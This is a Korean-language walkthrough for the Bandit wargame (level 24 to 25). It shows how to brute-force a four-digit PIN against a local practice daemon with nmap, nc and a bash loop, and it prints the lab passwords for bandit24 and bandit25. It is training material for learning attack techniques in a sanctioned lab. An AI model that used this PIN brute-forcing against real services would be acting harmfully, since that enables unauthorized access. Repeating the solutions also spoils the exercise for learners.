Bandit Level 24 → Level 25
Level Goal
한 데몬이 30002번 포트를 열고 있고 당신에게 bandit25에 대한 패스워드를 줄 것이다. 다만 bandit24에 대한 패스워드와 4자리 핀 코드를 주어야 한다. 부르트 포싱이라는 것을 사용해서 10000가지의 경우의 수를 고려하지 않고는 핀 코드를 찾을 방법이 없다.
Answer
$ ls -al
$ nmap -sT 127.0.0.1 -p 30002 // nmap으로 TCP를 사용해 자기 자신을 스캐닝 할 것이다. 포트는 30002번.
$ nc 127.0.0.1 30002 // nc 명령으로 127.0.0.1 30002에 연결한다.
// 연결하였더니 bandit24 패스워드와 핀코드 네자리를 띄어쓰기를 하여 입력하라 한다.
$ mkdir /tmp/mytmp11 // 새로운 폴더를 만들고
$ cd /tmp/mytmp11 // 만든 폴더로 이동한다.
$ vi ./test.sh // test.sh에는 아래 내용(0부터 9999까지 핀코드 반복문)을 입력해서 저장해준다.(wq!)
#! /bin/bash
for i in {0..9999}
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> pincode_list
done
$ ls -al // test.sh이 잘 만들어졌는지 확인
$ chmod 777 test.sh // 권한 변경
$ ./test.sh // test.sh을 실행해본다.
$ ls -al // pincode_list 파일이 만들어졌는지 확인해본다.
$ cat pincode_list | nc localhost 30002
// pincode_list의 내용을 nc localhost 30002로 넘겨 반복문을 통해 비밀번호를 찾는다.
bandit25 password : uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG